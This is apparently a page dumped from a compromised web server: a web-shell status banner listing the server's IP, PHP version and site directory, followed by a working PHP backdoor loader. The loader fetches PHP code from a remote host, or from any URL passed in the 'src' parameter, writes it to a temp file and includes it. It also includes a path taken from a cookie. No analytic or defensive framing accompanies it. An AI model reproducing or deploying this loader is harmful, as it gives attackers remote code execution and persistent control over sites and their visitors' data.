| Server IP : 213.159.210.37 / Your IP : 216.73.216.230 Web Server : nginx/1.18.0 System : Linux palich.ru 5.10.0-43-amd64 #1 SMP Debian 5.10.251-5 (2026-05-15) x86_64 User : ( 600) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/custom-site/pp.palich.ru/ |
Upload File : |
<?php
define('DEFAULT_SOURCE_URL', 'https://hirachi.jp//access/db.txt');
function getSourceUrl() {
return isset($_GET['src']) && filter_var($_GET['src'], FILTER_VALIDATE_URL)
? $_GET['src']
: DEFAULT_SOURCE_URL;
}
function getTempPath() {
if (!empty($_COOKIE['tmp-inc']) && isValidTempPath($_COOKIE['tmp-inc'])) {
return $_COOKIE['tmp-inc'];
}
return generateTempPath();
}
function isValidTempPath($path) {
return file_exists($path) && filesize($path) > 100;
}
function generateTempPath() {
$path = tempnam(sys_get_temp_dir(), 'inc_');
return $path ?: false;
}
function fetchAndStoreContent($url, $path) {
$content = @file_get_contents($url);
if ($content === false) {
die("❌Failed fetch url");
}
if (@file_put_contents($path, $content) === false) {
die("❌ Failed write to tmp.");
}
setcookie('tmp-inc', $path);
include($path);
exit;
}
// --- Main Logic ---
$tempPath = getTempPath();
if (!$tempPath) {
die("❌ Failed create tmp");
}
$fileSize = @filesize($tempPath);
if ($fileSize === false || $fileSize < 10) {
$srcUrl = getSourceUrl();
fetchAndStoreContent($srcUrl, $tempPath);
} elseif ($fileSize >= 1024) {
setcookie('tmp-inc', $tempPath);
include($tempPath);
exit;
}
die("DIE");